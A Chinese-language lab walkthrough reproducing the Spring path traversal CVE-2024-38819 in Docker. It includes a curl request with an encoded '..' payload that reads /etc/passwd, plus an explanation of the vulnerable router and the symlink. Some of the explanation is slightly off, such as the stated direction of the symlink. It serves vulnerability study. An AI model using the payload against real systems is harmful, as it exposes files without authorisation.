操作:
根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境
拿到环境的源码使用docker搭建
cd vuln
创建容器并启动
docker build -t cve-2024-38819-poc .
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像


使用命令来验证是否存在漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
请求成功返回了 /etc/passwd
文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd
)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。
解析:
-
设置静态资源路由 :创建
PathTraversalDemoApplication.java
文件,使用RouterFunction
和FileSystemResource
设置静态文件路由public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }
这段代码创建了一个静态文件资源的路由。当用户访问
/static/**
路径时,系统会从/app/static/
目录中提供文件。 -
创建符号链接:
RUN ln -s /static /app/static/link
在 Dockerfile 中,
ln -s
命令创建了一个符号链接/static
,指向/app/static/link
。这意味着攻击者可以通过访问/static/link
来尝试获取指向其他系统路径的文件。 -
利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:
/static/link/%2e%2e/etc/passwd
其中,
%2e%2e
是%2e
编码的..
,代表父目录。攻击者通过这种方式尝试从/app/static/
目录"跳出"并访问系统的其他目录(如/etc/passwd
),从而获取系统敏感信息。